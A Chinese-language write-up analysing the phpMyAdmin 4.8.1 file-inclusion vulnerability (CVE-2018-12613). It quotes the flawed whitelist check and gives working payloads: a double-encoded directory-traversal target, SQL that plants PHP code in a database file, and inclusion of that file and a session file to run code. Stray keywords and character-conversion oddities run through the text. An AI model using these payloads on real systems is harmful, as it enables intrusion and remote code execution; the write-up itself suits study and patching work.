$target_blacklist = array ( 'import.php', 'export.php' ); // If we have a valid target, let's load that script instead if (! empty($_REQUEST['target']) && is_string($_REQUEST['target']) && ! preg_match('/^index/', $_REQUEST['target']) && ! in_array($_REQUEST['target'], $target_blacklist) && Core::checkPageValidity($_REQUEST['target']) ) { include $_REQUEST['target']; exit; }
知足5個條件後就會include$_REQUEST['target']
的內容php
$_REQUEST['target']
不爲空$_REQUEST['target']
是字符串$_REQUEST['target']
不以index開頭$_REQUEST['target']
不在$target_blacklist中 'import.php', 'export.php'Core::checkPageValidity($_REQUEST['target'])
爲真 代碼在libraries\classes\Core.php 443-476行public static function checkPageValidity(&$page, array $whitelist = []) { if (empty($whitelist)) { $whitelist = self::$goto_whitelist; } if (! isset($page) || !is_string($page)) { return false; } if (in_array($page, $whitelist)) { return true; } $_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } return false; }
$whitelist一開始未傳參過來,因此會被賦值爲self::$goto_whitelistsql
public static $goto_whitelist = array( 'db_datadict.php', 'db_sql.php', 'db_events.php', 'db_export.php', 'db_importdocsql.php', 'db_multi_table_query.php', 'db_structure.php', 'db_import.php', 'db_operations.php', 'db_search.php', 'db_routines.php', 'export.php', 'import.php', 'index.php', 'pdf_pages.php', 'pdf_schema.php', 'server_binlog.php', 'server_collations.php', 'server_databases.php', 'server_engines.php', 'server_export.php', 'server_import.php', 'server_privileges.php', 'server_sql.php', 'server_status.php', 'server_status_advisor.php', 'server_status_monitor.php', 'server_status_queries.php', 'server_status_variables.php', 'server_variables.php', 'sql.php', 'tbl_addfield.php', 'tbl_change.php', 'tbl_create.php', 'tbl_import.php', 'tbl_indexes.php', 'tbl_sql.php', 'tbl_export.php', 'tbl_operations.php', 'tbl_structure.php', 'tbl_relation.php', 'tbl_replace.php', 'tbl_row_action.php', 'tbl_select.php', 'tbl_zoom_select.php', 'transformation_overview.php', 'transformation_wrapper.php', 'user_password.php', );
若是$page在白名單中就會直接return true,但這裏考慮到了可能帶參數的狀況,因此有了下面的判斷數據庫
$_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } return false;
mb_strpos ( string $haystack , string $needle [, int $offset = 0 [, string $encoding = mb_internal_encoding() ]] ) : int 查找 string 在一個 string 中首次出現的位置。基於字符數執行一個多字節安全的 strpos() 操做。 第一個字符的位置是 0,第二個字符的位置是 1,以此類推。安全
$_page是取出$page問號前的東西,是考慮到target有參數的狀況,只要$_page在白名單中就直接return true 但還考慮了url編碼的狀況,因此若是這步判斷未成功,下一步又進行url解碼服務器
$_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; }
因此傳入二次編碼後的內容,會讓checkPageValidity()這個函數返回true,但index中實際包含的內容卻不是白名單中的文件 例如傳入 ?target=db_datadict.php%253f
因爲服務器會自動解碼一次,因此在checkPageValidity()中,$page的值一開始會是db_datadict.php%3f
,又一次url解碼後變成了db_datadict.php?
,此次便符合了?前內容在白名單的要求,函數返回true 但在index.php中$_REQUEST['target']仍然是db_datadict.php%3f
,並且會被include,經過目錄穿越,就可形成任意文件包含session
phpMyAdmin-4.8.1-all-languages.zip 官網可下4.8.1版本app
經過目錄穿越包含任意文件 ?target=db_datadict.php%253f/../../../../../../../../../Windows/DATE.ini
函數
show global variables like "%datadir%";
向數據庫寫入php代碼CREATE DATABASE rce; use rce; CREATE TABLE rce(code varchar(100)); INSERT INTO rce(code) VALUES("<?php phpinfo(); ?>");
而後包含該數據庫文件 ?target=db_datadict.php%253f/../../../../../../../../../phpStudy/PHPTutorial/MySQL/data/rce/rce.MYD
編碼
?target=db_datadict.php%253f/../../../../../../../../../phpStudy/PHPTutorial/tmp/tmp/sess_imnnv91q886sfboa2sqos02b7njvho24
url
參考: phpmyadmin 4.8.1任意文件包含 phpmyadmin4.8.1遠程文件包含漏洞(CVE-2018-12613)